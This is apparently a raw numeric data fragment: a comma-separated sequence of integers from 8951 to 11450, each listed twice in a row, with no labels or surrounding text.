8951,8951,8952,8952,8953,8953,8954,8954,8955,8955,8956,8956,8957,8957,8958,8958,8959,8959,8960,8960,8961,8961,8962,8962,8963,8963,8964,8964,8965,8965,8966,8966,8967,8967,8968,8968,8969,8969,8970,8970,8971,8971,8972,8972,8973,8973,8974,8974,8975,8975,8976,8976,8977,8977,8978,8978,8979,8979,8980,8980,8981,8981,8982,8982,8983,8983,8984,8984,8985,8985,8986,8986,8987,8987,8988,8988,8989,8989,8990,8990,8991,8991,8992,8992,8993,8993,8994,8994,8995,8995,8996,8996,8997,8997,8998,8998,8999,8999,9000,9000,9001,9001,9002,9002,9003,9003,9004,9004,9005,9005,9006,9006,9007,9007,9008,9008,9009,9009,9010,9010,9011,9011,9012,9012,9013,9013,9014,9014,9015,9015,9016,9016,9017,9017,9018,9018,9019,9019,9020,9020,9021,9021,9022,9022,9023,9023,9024,9024,9025,9025,9026,9026,9027,9027,9028,9028,9029,9029,9030,9030,9031,9031,9032,9032,9033,9033,9034,9034,9035,9035,9036,9036,9037,9037,9038,9038,9039,9039,9040,9040,9041,9041,9042,9042,9043,9043,9044,9044,9045,9045,9046,9046,9047,9047,9048,9048,9049,9049,9050,9050,9051,9051,9052,9052,9053,9053,9054,9054,9055,9055,9056,9056,9057,9057,9058,9058,9059,9059,9060,9060,9061,9061,9062,9062,9063,9063,9064,9064,9065,9065,9066,9066,9067,9067,9068,9068,9069,9069,9070,9070,9071,9071,9072,9072,9073,9073,9074,9074,9075,9075,9076,9076,9077,9077,9078,9078,9079,9079,9080,9080,9081,9081,9082,9082,9083,9083,9084,9084,9085,9085,9086,9086,9087,9087,9088,9088,9089,9089,9090,9090,9091,9091,9092,9092,9093,9093,9094,9094,9095,9095,9096,9096,9097,9097,9098,9098,9099,9099,9100,9100,9101,9101,9102,9102,9103,9103,9104,9104,9105,9105,9106,9106,9107,9107,9108,9108,9109,9109,9110,9110,9111,9111,9112,9112,9113,9113,9114,9114,9115,9115,9116,9116,9117,9117,9118,9118,9119,9119,9120,9120,9121,9121,9122,9122,9123,9123,9124,9124,9125,9125,9126,9126,9127,9127,9128,9128,9129,9129,9130,9130,9131,9131,9132,9132,9133,9133,9134,9134,9135,9135,9136,9136,9137,9137,9138,9138,9139,9139,9140,9140,9141,9141,9142,9142,9143,9143,9144,9144,9145,9145,9146,9146,9147,9147,9148,9148,9149,9149,9150,9150,9151,9151,9152,9152,9153,9153,9154,9154,9155,9155,9156,9156,9157,9157,9158,9158,9159,9159,9160,9160,9161,9161,9162,9162,9163,9163,9164,9164,9165,9165,9166,9166,9167,9167,9168,9168,9169,9169,9170,9170,9171,9171,9172,9172,9173,9173,9174,9174,9175,9175,9176,9176,9177,9177,9178,9178,9179,9179,9180,9180,9181,9181,9182,9182,9183,9183,9184,9184,9185,9185,9186,9186,9187,9187,9188,9188,9189,9189,9190,9190,9191,9191,9192,9192,9193,9193,9194,9194,9195,9195,9196,9196,9197,9197,9198,9198,9199,9199,9200,9200,9201,9201,9202,9202,9203,9203,9204,9204,9205,9205,9206,9206,9207,9207,9208,9208,9209,9209,9210,9210,9211,9211,9212,9212,9213,9213,9214,9214,9215,9215,9216,9216,9217,9217,9218,9218,9219,9219,9220,9220,9221,9221,9222,9222,9223,9223,9224,9224,9225,9225,9226,9226,9227,9227,9228,9228,9229,9229,9230,9230,9231,9231,9232,9232,9233,9233,9234,9234,9235,9235,9236,9236,9237,9237,9238,9238,9239,9239,9240,9240,9241,9241,9242,9242,9243,9243,9244,9244,9245,9245,9246,9246,9247,9247,9248,9248,9249,9249,9250,9250,9251,9251,9252,9252,9253,9253,9254,9254,9255,9255,9256,9256,9257,9257,9258,9258,9259,9259,9260,9260,9261,9261,9262,9262,9263,9263,9264,9264,9265,9265,9266,9266,9267,9267,9268,9268,9269,9269,9270,9270,9271,9271,9272,9272,9273,9273,9274,9274,9275,9275,9276,9276,9277,9277,9278,9278,9279,9279,9280,9280,9281,9281,9282,9282,9283,9283,9284,9284,9285,9285,9286,9286,9287,9287,9288,9288,9289,9289,9290,9290,9291,9291,9292,9292,9293,9293,9294,9294,9295,9295,9296,9296,9297,9297,9298,9298,9299,9299,9300,9300,9301,9301,9302,9302,9303,9303,9304,9304,9305,9305,9306,9306,9307,9307,9308,9308,9309,9309,9310,9310,9311,9311,9312,9312,9313,9313,9314,9314,9315,9315,9316,9316,9317,9317,9318,9318,9319,9319,9320,9320,9321,9321,9322,9322,9323,9323,9324,9324,9325,9325,9326,9326,9327,9327,9328,9328,9329,9329,9330,9330,9331,9331,9332,9332,9333,9333,9334,9334,9335,9335,9336,9336,9337,9337,9338,9338,9339,9339,9340,9340,9341,9341,9342,9342,9343,9343,9344,9344,9345,9345,9346,9346,9347,9347,9348,9348,9349,9349,9350,9350,9351,9351,9352,9352,9353,9353,9354,9354,9355,9355,9356,9356,9357,9357,9358,9358,9359,9359,9360,9360,9361,9361,9362,9362,9363,9363,9364,9364,9365,9365,9366,9366,9367,9367,9368,9368,9369,9369,9370,9370,9371,9371,9372,9372,9373,9373,9374,9374,9375,9375,9376,9376,9377,9377,9378,9378,9379,9379,9380,9380,9381,9381,9382,9382,9383,9383,9384,9384,9385,9385,9386,9386,9387,9387,9388,9388,9389,9389,9390,9390,9391,9391,9392,9392,9393,9393,9394,9394,9395,9395,9396,9396,9397,9397,9398,9398,9399,9399,9400,9400,9401,9401,9402,9402,9403,9403,9404,9404,9405,9405,9406,9406,9407,9407,9408,9408,9409,9409,9410,9410,9411,9411,9412,9412,9413,9413,9414,9414,9415,9415,9416,9416,9417,9417,9418,9418,9419,9419,9420,9420,9421,9421,9422,9422,9423,9423,9424,9424,9425,9425,9426,9426,9427,9427,9428,9428,9429,9429,9430,9430,9431,9431,9432,9432,9433,9433,9434,9434,9435,9435,9436,9436,9437,9437,9438,9438,9439,9439,9440,9440,9441,9441,9442,9442,9443,9443,9444,9444,9445,9445,9446,9446,9447,9447,9448,9448,9449,9449,9450,9450,9451,9451,9452,9452,9453,9453,9454,9454,9455,9455,9456,9456,9457,9457,9458,9458,9459,9459,9460,9460,9461,9461,9462,9462,9463,9463,9464,9464,9465,9465,9466,9466,9467,9467,9468,9468,9469,9469,9470,9470,9471,9471,9472,9472,9473,9473,9474,9474,9475,9475,9476,9476,9477,9477,9478,9478,9479,9479,9480,9480,9481,9481,9482,9482,9483,9483,9484,9484,9485,9485,9486,9486,9487,9487,9488,9488,9489,9489,9490,9490,9491,9491,9492,9492,9493,9493,9494,9494,9495,9495,9496,9496,9497,9497,9498,9498,9499,9499,9500,9500,9501,9501,9502,9502,9503,9503,9504,9504,9505,9505,9506,9506,9507,9507,9508,9508,9509,9509,9510,9510,9511,9511,9512,9512,9513,9513,9514,9514,9515,9515,9516,9516,9517,9517,9518,9518,9519,9519,9520,9520,9521,9521,9522,9522,9523,9523,9524,9524,9525,9525,9526,9526,9527,9527,9528,9528,9529,9529,9530,9530,9531,9531,9532,9532,9533,9533,9534,9534,9535,9535,9536,9536,9537,9537,9538,9538,9539,9539,9540,9540,9541,9541,9542,9542,9543,9543,9544,9544,9545,9545,9546,9546,9547,9547,9548,9548,9549,9549,9550,9550,9551,9551,9552,9552,9553,9553,9554,9554,9555,9555,9556,9556,9557,9557,9558,9558,9559,9559,9560,9560,9561,9561,9562,9562,9563,9563,9564,9564,9565,9565,9566,9566,9567,9567,9568,9568,9569,9569,9570,9570,9571,9571,9572,9572,9573,9573,9574,9574,9575,9575,9576,9576,9577,9577,9578,9578,9579,9579,9580,9580,9581,9581,9582,9582,9583,9583,9584,9584,9585,9585,9586,9586,9587,9587,9588,9588,9589,9589,9590,9590,9591,9591,9592,9592,9593,9593,9594,9594,9595,9595,9596,9596,9597,9597,9598,9598,9599,9599,9600,9600,9601,9601,9602,9602,9603,9603,9604,9604,9605,9605,9606,9606,9607,9607,9608,9608,9609,9609,9610,9610,9611,9611,9612,9612,9613,9613,9614,9614,9615,9615,9616,9616,9617,9617,9618,9618,9619,9619,9620,9620,9621,9621,9622,9622,9623,9623,9624,9624,9625,9625,9626,9626,9627,9627,9628,9628,9629,9629,9630,9630,9631,9631,9632,9632,9633,9633,9634,9634,9635,9635,9636,9636,9637,9637,9638,9638,9639,9639,9640,9640,9641,9641,9642,9642,9643,9643,9644,9644,9645,9645,9646,9646,9647,9647,9648,9648,9649,9649,9650,9650,9651,9651,9652,9652,9653,9653,9654,9654,9655,9655,9656,9656,9657,9657,9658,9658,9659,9659,9660,9660,9661,9661,9662,9662,9663,9663,9664,9664,9665,9665,9666,9666,9667,9667,9668,9668,9669,9669,9670,9670,9671,9671,9672,9672,9673,9673,9674,9674,9675,9675,9676,9676,9677,9677,9678,9678,9679,9679,9680,9680,9681,9681,9682,9682,9683,9683,9684,9684,9685,9685,9686,9686,9687,9687,9688,9688,9689,9689,9690,9690,9691,9691,9692,9692,9693,9693,9694,9694,9695,9695,9696,9696,9697,9697,9698,9698,9699,9699,9700,9700,9701,9701,9702,9702,9703,9703,9704,9704,9705,9705,9706,9706,9707,9707,9708,9708,9709,9709,9710,9710,9711,9711,9712,9712,9713,9713,9714,9714,9715,9715,9716,9716,9717,9717,9718,9718,9719,9719,9720,9720,9721,9721,9722,9722,9723,9723,9724,9724,9725,9725,9726,9726,9727,9727,9728,9728,9729,9729,9730,9730,9731,9731,9732,9732,9733,9733,9734,9734,9735,9735,9736,9736,9737,9737,9738,9738,9739,9739,9740,9740,9741,9741,9742,9742,9743,9743,9744,9744,9745,9745,9746,9746,9747,9747,9748,9748,9749,9749,9750,9750,9751,9751,9752,9752,9753,9753,9754,9754,9755,9755,9756,9756,9757,9757,9758,9758,9759,9759,9760,9760,9761,9761,9762,9762,9763,9763,9764,9764,9765,9765,9766,9766,9767,9767,9768,9768,9769,9769,9770,9770,9771,9771,9772,9772,9773,9773,9774,9774,9775,9775,9776,9776,9777,9777,9778,9778,9779,9779,9780,9780,9781,9781,9782,9782,9783,9783,9784,9784,9785,9785,9786,9786,9787,9787,9788,9788,9789,9789,9790,9790,9791,9791,9792,9792,9793,9793,9794,9794,9795,9795,9796,9796,9797,9797,9798,9798,9799,9799,9800,9800,9801,9801,9802,9802,9803,9803,9804,9804,9805,9805,9806,9806,9807,9807,9808,9808,9809,9809,9810,9810,9811,9811,9812,9812,9813,9813,9814,9814,9815,9815,9816,9816,9817,9817,9818,9818,9819,9819,9820,9820,9821,9821,9822,9822,9823,9823,9824,9824,9825,9825,9826,9826,9827,9827,9828,9828,9829,9829,9830,9830,9831,9831,9832,9832,9833,9833,9834,9834,9835,9835,9836,9836,9837,9837,9838,9838,9839,9839,9840,9840,9841,9841,9842,9842,9843,9843,9844,9844,9845,9845,9846,9846,9847,9847,9848,9848,9849,9849,9850,9850,9851,9851,9852,9852,9853,9853,9854,9854,9855,9855,9856,9856,9857,9857,9858,9858,9859,9859,9860,9860,9861,9861,9862,9862,9863,9863,9864,9864,9865,9865,9866,9866,9867,9867,9868,9868,9869,9869,9870,9870,9871,9871,9872,9872,9873,9873,9874,9874,9875,9875,9876,9876,9877,9877,9878,9878,9879,9879,9880,9880,9881,9881,9882,9882,9883,9883,9884,9884,9885,9885,9886,9886,9887,9887,9888,9888,9889,9889,9890,9890,9891,9891,9892,9892,9893,9893,9894,9894,9895,9895,9896,9896,9897,9897,9898,9898,9899,9899,9900,9900,9901,9901,9902,9902,9903,9903,9904,9904,9905,9905,9906,9906,9907,9907,9908,9908,9909,9909,9910,9910,9911,9911,9912,9912,9913,9913,9914,9914,9915,9915,9916,9916,9917,9917,9918,9918,9919,9919,9920,9920,9921,9921,9922,9922,9923,9923,9924,9924,9925,9925,9926,9926,9927,9927,9928,9928,9929,9929,9930,9930,9931,9931,9932,9932,9933,9933,9934,9934,9935,9935,9936,9936,9937,9937,9938,9938,9939,9939,9940,9940,9941,9941,9942,9942,9943,9943,9944,9944,9945,9945,9946,9946,9947,9947,9948,9948,9949,9949,9950,9950,9951,9951,9952,9952,9953,9953,9954,9954,9955,9955,9956,9956,9957,9957,9958,9958,9959,9959,9960,9960,9961,9961,9962,9962,9963,9963,9964,9964,9965,9965,9966,9966,9967,9967,9968,9968,9969,9969,9970,9970,9971,9971,9972,9972,9973,9973,9974,9974,9975,9975,9976,9976,9977,9977,9978,9978,9979,9979,9980,9980,9981,9981,9982,9982,9983,9983,9984,9984,9985,9985,9986,9986,9987,9987,9988,9988,9989,9989,9990,9990,9991,9991,9992,9992,9993,9993,9994,9994,9995,9995,9996,9996,9997,9997,9998,9998,9999,9999,10000,10000,10001,10001,10002,10002,10003,10003,10004,10004,10005,10005,10006,10006,10007,10007,10008,10008,10009,10009,10010,10010,10011,10011,10012,10012,10013,10013,10014,10014,10015,10015,10016,10016,10017,10017,10018,10018,10019,10019,10020,10020,10021,10021,10022,10022,10023,10023,10024,10024,10025,10025,10026,10026,10027,10027,10028,10028,10029,10029,10030,10030,10031,10031,10032,10032,10033,10033,10034,10034,10035,10035,10036,10036,10037,10037,10038,10038,10039,10039,10040,10040,10041,10041,10042,10042,10043,10043,10044,10044,10045,10045,10046,10046,10047,10047,10048,10048,10049,10049,10050,10050,10051,10051,10052,10052,10053,10053,10054,10054,10055,10055,10056,10056,10057,10057,10058,10058,10059,10059,10060,10060,10061,10061,10062,10062,10063,10063,10064,10064,10065,10065,10066,10066,10067,10067,10068,10068,10069,10069,10070,10070,10071,10071,10072,10072,10073,10073,10074,10074,10075,10075,10076,10076,10077,10077,10078,10078,10079,10079,10080,10080,10081,10081,10082,10082,10083,10083,10084,10084,10085,10085,10086,10086,10087,10087,10088,10088,10089,10089,10090,10090,10091,10091,10092,10092,10093,10093,10094,10094,10095,10095,10096,10096,10097,10097,10098,10098,10099,10099,10100,10100,10101,10101,10102,10102,10103,10103,10104,10104,10105,10105,10106,10106,10107,10107,10108,10108,10109,10109,10110,10110,10111,10111,10112,10112,10113,10113,10114,10114,10115,10115,10116,10116,10117,10117,10118,10118,10119,10119,10120,10120,10121,10121,10122,10122,10123,10123,10124,10124,10125,10125,10126,10126,10127,10127,10128,10128,10129,10129,10130,10130,10131,10131,10132,10132,10133,10133,10134,10134,10135,10135,10136,10136,10137,10137,10138,10138,10139,10139,10140,10140,10141,10141,10142,10142,10143,10143,10144,10144,10145,10145,10146,10146,10147,10147,10148,10148,10149,10149,10150,10150,10151,10151,10152,10152,10153,10153,10154,10154,10155,10155,10156,10156,10157,10157,10158,10158,10159,10159,10160,10160,10161,10161,10162,10162,10163,10163,10164,10164,10165,10165,10166,10166,10167,10167,10168,10168,10169,10169,10170,10170,10171,10171,10172,10172,10173,10173,10174,10174,10175,10175,10176,10176,10177,10177,10178,10178,10179,10179,10180,10180,10181,10181,10182,10182,10183,10183,10184,10184,10185,10185,10186,10186,10187,10187,10188,10188,10189,10189,10190,10190,10191,10191,10192,10192,10193,10193,10194,10194,10195,10195,10196,10196,10197,10197,10198,10198,10199,10199,10200,10200,10201,10201,10202,10202,10203,10203,10204,10204,10205,10205,10206,10206,10207,10207,10208,10208,10209,10209,10210,10210,10211,10211,10212,10212,10213,10213,10214,10214,10215,10215,10216,10216,10217,10217,10218,10218,10219,10219,10220,10220,10221,10221,10222,10222,10223,10223,10224,10224,10225,10225,10226,10226,10227,10227,10228,10228,10229,10229,10230,10230,10231,10231,10232,10232,10233,10233,10234,10234,10235,10235,10236,10236,10237,10237,10238,10238,10239,10239,10240,10240,10241,10241,10242,10242,10243,10243,10244,10244,10245,10245,10246,10246,10247,10247,10248,10248,10249,10249,10250,10250,10251,10251,10252,10252,10253,10253,10254,10254,10255,10255,10256,10256,10257,10257,10258,10258,10259,10259,10260,10260,10261,10261,10262,10262,10263,10263,10264,10264,10265,10265,10266,10266,10267,10267,10268,10268,10269,10269,10270,10270,10271,10271,10272,10272,10273,10273,10274,10274,10275,10275,10276,10276,10277,10277,10278,10278,10279,10279,10280,10280,10281,10281,10282,10282,10283,10283,10284,10284,10285,10285,10286,10286,10287,10287,10288,10288,10289,10289,10290,10290,10291,10291,10292,10292,10293,10293,10294,10294,10295,10295,10296,10296,10297,10297,10298,10298,10299,10299,10300,10300,10301,10301,10302,10302,10303,10303,10304,10304,10305,10305,10306,10306,10307,10307,10308,10308,10309,10309,10310,10310,10311,10311,10312,10312,10313,10313,10314,10314,10315,10315,10316,10316,10317,10317,10318,10318,10319,10319,10320,10320,10321,10321,10322,10322,10323,10323,10324,10324,10325,10325,10326,10326,10327,10327,10328,10328,10329,10329,10330,10330,10331,10331,10332,10332,10333,10333,10334,10334,10335,10335,10336,10336,10337,10337,10338,10338,10339,10339,10340,10340,10341,10341,10342,10342,10343,10343,10344,10344,10345,10345,10346,10346,10347,10347,10348,10348,10349,10349,10350,10350,10351,10351,10352,10352,10353,10353,10354,10354,10355,10355,10356,10356,10357,10357,10358,10358,10359,10359,10360,10360,10361,10361,10362,10362,10363,10363,10364,10364,10365,10365,10366,10366,10367,10367,10368,10368,10369,10369,10370,10370,10371,10371,10372,10372,10373,10373,10374,10374,10375,10375,10376,10376,10377,10377,10378,10378,10379,10379,10380,10380,10381,10381,10382,10382,10383,10383,10384,10384,10385,10385,10386,10386,10387,10387,10388,10388,10389,10389,10390,10390,10391,10391,10392,10392,10393,10393,10394,10394,10395,10395,10396,10396,10397,10397,10398,10398,10399,10399,10400,10400,10401,10401,10402,10402,10403,10403,10404,10404,10405,10405,10406,10406,10407,10407,10408,10408,10409,10409,10410,10410,10411,10411,10412,10412,10413,10413,10414,10414,10415,10415,10416,10416,10417,10417,10418,10418,10419,10419,10420,10420,10421,10421,10422,10422,10423,10423,10424,10424,10425,10425,10426,10426,10427,10427,10428,10428,10429,10429,10430,10430,10431,10431,10432,10432,10433,10433,10434,10434,10435,10435,10436,10436,10437,10437,10438,10438,10439,10439,10440,10440,10441,10441,10442,10442,10443,10443,10444,10444,10445,10445,10446,10446,10447,10447,10448,10448,10449,10449,10450,10450,10451,10451,10452,10452,10453,10453,10454,10454,10455,10455,10456,10456,10457,10457,10458,10458,10459,10459,10460,10460,10461,10461,10462,10462,10463,10463,10464,10464,10465,10465,10466,10466,10467,10467,10468,10468,10469,10469,10470,10470,10471,10471,10472,10472,10473,10473,10474,10474,10475,10475,10476,10476,10477,10477,10478,10478,10479,10479,10480,10480,10481,10481,10482,10482,10483,10483,10484,10484,10485,10485,10486,10486,10487,10487,10488,10488,10489,10489,10490,10490,10491,10491,10492,10492,10493,10493,10494,10494,10495,10495,10496,10496,10497,10497,10498,10498,10499,10499,10500,10500,10501,10501,10502,10502,10503,10503,10504,10504,10505,10505,10506,10506,10507,10507,10508,10508,10509,10509,10510,10510,10511,10511,10512,10512,10513,10513,10514,10514,10515,10515,10516,10516,10517,10517,10518,10518,10519,10519,10520,10520,10521,10521,10522,10522,10523,10523,10524,10524,10525,10525,10526,10526,10527,10527,10528,10528,10529,10529,10530,10530,10531,10531,10532,10532,10533,10533,10534,10534,10535,10535,10536,10536,10537,10537,10538,10538,10539,10539,10540,10540,10541,10541,10542,10542,10543,10543,10544,10544,10545,10545,10546,10546,10547,10547,10548,10548,10549,10549,10550,10550,10551,10551,10552,10552,10553,10553,10554,10554,10555,10555,10556,10556,10557,10557,10558,10558,10559,10559,10560,10560,10561,10561,10562,10562,10563,10563,10564,10564,10565,10565,10566,10566,10567,10567,10568,10568,10569,10569,10570,10570,10571,10571,10572,10572,10573,10573,10574,10574,10575,10575,10576,10576,10577,10577,10578,10578,10579,10579,10580,10580,10581,10581,10582,10582,10583,10583,10584,10584,10585,10585,10586,10586,10587,10587,10588,10588,10589,10589,10590,10590,10591,10591,10592,10592,10593,10593,10594,10594,10595,10595,10596,10596,10597,10597,10598,10598,10599,10599,10600,10600,10601,10601,10602,10602,10603,10603,10604,10604,10605,10605,10606,10606,10607,10607,10608,10608,10609,10609,10610,10610,10611,10611,10612,10612,10613,10613,10614,10614,10615,10615,10616,10616,10617,10617,10618,10618,10619,10619,10620,10620,10621,10621,10622,10622,10623,10623,10624,10624,10625,10625,10626,10626,10627,10627,10628,10628,10629,10629,10630,10630,10631,10631,10632,10632,10633,10633,10634,10634,10635,10635,10636,10636,10637,10637,10638,10638,10639,10639,10640,10640,10641,10641,10642,10642,10643,10643,10644,10644,10645,10645,10646,10646,10647,10647,10648,10648,10649,10649,10650,10650,10651,10651,10652,10652,10653,10653,10654,10654,10655,10655,10656,10656,10657,10657,10658,10658,10659,10659,10660,10660,10661,10661,10662,10662,10663,10663,10664,10664,10665,10665,10666,10666,10667,10667,10668,10668,10669,10669,10670,10670,10671,10671,10672,10672,10673,10673,10674,10674,10675,10675,10676,10676,10677,10677,10678,10678,10679,10679,10680,10680,10681,10681,10682,10682,10683,10683,10684,10684,10685,10685,10686,10686,10687,10687,10688,10688,10689,10689,10690,10690,10691,10691,10692,10692,10693,10693,10694,10694,10695,10695,10696,10696,10697,10697,10698,10698,10699,10699,10700,10700,10701,10701,10702,10702,10703,10703,10704,10704,10705,10705,10706,10706,10707,10707,10708,10708,10709,10709,10710,10710,10711,10711,10712,10712,10713,10713,10714,10714,10715,10715,10716,10716,10717,10717,10718,10718,10719,10719,10720,10720,10721,10721,10722,10722,10723,10723,10724,10724,10725,10725,10726,10726,10727,10727,10728,10728,10729,10729,10730,10730,10731,10731,10732,10732,10733,10733,10734,10734,10735,10735,10736,10736,10737,10737,10738,10738,10739,10739,10740,10740,10741,10741,10742,10742,10743,10743,10744,10744,10745,10745,10746,10746,10747,10747,10748,10748,10749,10749,10750,10750,10751,10751,10752,10752,10753,10753,10754,10754,10755,10755,10756,10756,10757,10757,10758,10758,10759,10759,10760,10760,10761,10761,10762,10762,10763,10763,10764,10764,10765,10765,10766,10766,10767,10767,10768,10768,10769,10769,10770,10770,10771,10771,10772,10772,10773,10773,10774,10774,10775,10775,10776,10776,10777,10777,10778,10778,10779,10779,10780,10780,10781,10781,10782,10782,10783,10783,10784,10784,10785,10785,10786,10786,10787,10787,10788,10788,10789,10789,10790,10790,10791,10791,10792,10792,10793,10793,10794,10794,10795,10795,10796,10796,10797,10797,10798,10798,10799,10799,10800,10800,10801,10801,10802,10802,10803,10803,10804,10804,10805,10805,10806,10806,10807,10807,10808,10808,10809,10809,10810,10810,10811,10811,10812,10812,10813,10813,10814,10814,10815,10815,10816,10816,10817,10817,10818,10818,10819,10819,10820,10820,10821,10821,10822,10822,10823,10823,10824,10824,10825,10825,10826,10826,10827,10827,10828,10828,10829,10829,10830,10830,10831,10831,10832,10832,10833,10833,10834,10834,10835,10835,10836,10836,10837,10837,10838,10838,10839,10839,10840,10840,10841,10841,10842,10842,10843,10843,10844,10844,10845,10845,10846,10846,10847,10847,10848,10848,10849,10849,10850,10850,10851,10851,10852,10852,10853,10853,10854,10854,10855,10855,10856,10856,10857,10857,10858,10858,10859,10859,10860,10860,10861,10861,10862,10862,10863,10863,10864,10864,10865,10865,10866,10866,10867,10867,10868,10868,10869,10869,10870,10870,10871,10871,10872,10872,10873,10873,10874,10874,10875,10875,10876,10876,10877,10877,10878,10878,10879,10879,10880,10880,10881,10881,10882,10882,10883,10883,10884,10884,10885,10885,10886,10886,10887,10887,10888,10888,10889,10889,10890,10890,10891,10891,10892,10892,10893,10893,10894,10894,10895,10895,10896,10896,10897,10897,10898,10898,10899,10899,10900,10900,10901,10901,10902,10902,10903,10903,10904,10904,10905,10905,10906,10906,10907,10907,10908,10908,10909,10909,10910,10910,10911,10911,10912,10912,10913,10913,10914,10914,10915,10915,10916,10916,10917,10917,10918,10918,10919,10919,10920,10920,10921,10921,10922,10922,10923,10923,10924,10924,10925,10925,10926,10926,10927,10927,10928,10928,10929,10929,10930,10930,10931,10931,10932,10932,10933,10933,10934,10934,10935,10935,10936,10936,10937,10937,10938,10938,10939,10939,10940,10940,10941,10941,10942,10942,10943,10943,10944,10944,10945,10945,10946,10946,10947,10947,10948,10948,10949,10949,10950,10950,10951,10951,10952,10952,10953,10953,10954,10954,10955,10955,10956,10956,10957,10957,10958,10958,10959,10959,10960,10960,10961,10961,10962,10962,10963,10963,10964,10964,10965,10965,10966,10966,10967,10967,10968,10968,10969,10969,10970,10970,10971,10971,10972,10972,10973,10973,10974,10974,10975,10975,10976,10976,10977,10977,10978,10978,10979,10979,10980,10980,10981,10981,10982,10982,10983,10983,10984,10984,10985,10985,10986,10986,10987,10987,10988,10988,10989,10989,10990,10990,10991,10991,10992,10992,10993,10993,10994,10994,10995,10995,10996,10996,10997,10997,10998,10998,10999,10999,11000,11000,11001,11001,11002,11002,11003,11003,11004,11004,11005,11005,11006,11006,11007,11007,11008,11008,11009,11009,11010,11010,11011,11011,11012,11012,11013,11013,11014,11014,11015,11015,11016,11016,11017,11017,11018,11018,11019,11019,11020,11020,11021,11021,11022,11022,11023,11023,11024,11024,11025,11025,11026,11026,11027,11027,11028,11028,11029,11029,11030,11030,11031,11031,11032,11032,11033,11033,11034,11034,11035,11035,11036,11036,11037,11037,11038,11038,11039,11039,11040,11040,11041,11041,11042,11042,11043,11043,11044,11044,11045,11045,11046,11046,11047,11047,11048,11048,11049,11049,11050,11050,11051,11051,11052,11052,11053,11053,11054,11054,11055,11055,11056,11056,11057,11057,11058,11058,11059,11059,11060,11060,11061,11061,11062,11062,11063,11063,11064,11064,11065,11065,11066,11066,11067,11067,11068,11068,11069,11069,11070,11070,11071,11071,11072,11072,11073,11073,11074,11074,11075,11075,11076,11076,11077,11077,11078,11078,11079,11079,11080,11080,11081,11081,11082,11082,11083,11083,11084,11084,11085,11085,11086,11086,11087,11087,11088,11088,11089,11089,11090,11090,11091,11091,11092,11092,11093,11093,11094,11094,11095,11095,11096,11096,11097,11097,11098,11098,11099,11099,11100,11100,11101,11101,11102,11102,11103,11103,11104,11104,11105,11105,11106,11106,11107,11107,11108,11108,11109,11109,11110,11110,11111,11111,11112,11112,11113,11113,11114,11114,11115,11115,11116,11116,11117,11117,11118,11118,11119,11119,11120,11120,11121,11121,11122,11122,11123,11123,11124,11124,11125,11125,11126,11126,11127,11127,11128,11128,11129,11129,11130,11130,11131,11131,11132,11132,11133,11133,11134,11134,11135,11135,11136,11136,11137,11137,11138,11138,11139,11139,11140,11140,11141,11141,11142,11142,11143,11143,11144,11144,11145,11145,11146,11146,11147,11147,11148,11148,11149,11149,11150,11150,11151,11151,11152,11152,11153,11153,11154,11154,11155,11155,11156,11156,11157,11157,11158,11158,11159,11159,11160,11160,11161,11161,11162,11162,11163,11163,11164,11164,11165,11165,11166,11166,11167,11167,11168,11168,11169,11169,11170,11170,11171,11171,11172,11172,11173,11173,11174,11174,11175,11175,11176,11176,11177,11177,11178,11178,11179,11179,11180,11180,11181,11181,11182,11182,11183,11183,11184,11184,11185,11185,11186,11186,11187,11187,11188,11188,11189,11189,11190,11190,11191,11191,11192,11192,11193,11193,11194,11194,11195,11195,11196,11196,11197,11197,11198,11198,11199,11199,11200,11200,11201,11201,11202,11202,11203,11203,11204,11204,11205,11205,11206,11206,11207,11207,11208,11208,11209,11209,11210,11210,11211,11211,11212,11212,11213,11213,11214,11214,11215,11215,11216,11216,11217,11217,11218,11218,11219,11219,11220,11220,11221,11221,11222,11222,11223,11223,11224,11224,11225,11225,11226,11226,11227,11227,11228,11228,11229,11229,11230,11230,11231,11231,11232,11232,11233,11233,11234,11234,11235,11235,11236,11236,11237,11237,11238,11238,11239,11239,11240,11240,11241,11241,11242,11242,11243,11243,11244,11244,11245,11245,11246,11246,11247,11247,11248,11248,11249,11249,11250,11250,11251,11251,11252,11252,11253,11253,11254,11254,11255,11255,11256,11256,11257,11257,11258,11258,11259,11259,11260,11260,11261,11261,11262,11262,11263,11263,11264,11264,11265,11265,11266,11266,11267,11267,11268,11268,11269,11269,11270,11270,11271,11271,11272,11272,11273,11273,11274,11274,11275,11275,11276,11276,11277,11277,11278,11278,11279,11279,11280,11280,11281,11281,11282,11282,11283,11283,11284,11284,11285,11285,11286,11286,11287,11287,11288,11288,11289,11289,11290,11290,11291,11291,11292,11292,11293,11293,11294,11294,11295,11295,11296,11296,11297,11297,11298,11298,11299,11299,11300,11300,11301,11301,11302,11302,11303,11303,11304,11304,11305,11305,11306,11306,11307,11307,11308,11308,11309,11309,11310,11310,11311,11311,11312,11312,11313,11313,11314,11314,11315,11315,11316,11316,11317,11317,11318,11318,11319,11319,11320,11320,11321,11321,11322,11322,11323,11323,11324,11324,11325,11325,11326,11326,11327,11327,11328,11328,11329,11329,11330,11330,11331,11331,11332,11332,11333,11333,11334,11334,11335,11335,11336,11336,11337,11337,11338,11338,11339,11339,11340,11340,11341,11341,11342,11342,11343,11343,11344,11344,11345,11345,11346,11346,11347,11347,11348,11348,11349,11349,11350,11350,11351,11351,11352,11352,11353,11353,11354,11354,11355,11355,11356,11356,11357,11357,11358,11358,11359,11359,11360,11360,11361,11361,11362,11362,11363,11363,11364,11364,11365,11365,11366,11366,11367,11367,11368,11368,11369,11369,11370,11370,11371,11371,11372,11372,11373,11373,11374,11374,11375,11375,11376,11376,11377,11377,11378,11378,11379,11379,11380,11380,11381,11381,11382,11382,11383,11383,11384,11384,11385,11385,11386,11386,11387,11387,11388,11388,11389,11389,11390,11390,11391,11391,11392,11392,11393,11393,11394,11394,11395,11395,11396,11396,11397,11397,11398,11398,11399,11399,11400,11400,11401,11401,11402,11402,11403,11403,11404,11404,11405,11405,11406,11406,11407,11407,11408,11408,11409,11409,11410,11410,11411,11411,11412,11412,11413,11413,11414,11414,11415,11415,11416,11416,11417,11417,11418,11418,11419,11419,11420,11420,11421,11421,11422,11422,11423,11423,11424,11424,11425,11425,11426,11426,11427,11427,11428,11428,11429,11429,11430,11430,11431,11431,11432,11432,11433,11433,11434,11434,11435,11435,11436,11436,11437,11437,11438,11438,11439,11439,11440,11440,11441,11441,11442,11442,11443,11443,11444,11444,11445,11445,11446,11446,11447,11447,11448,11448,11449,11449,11450,11450,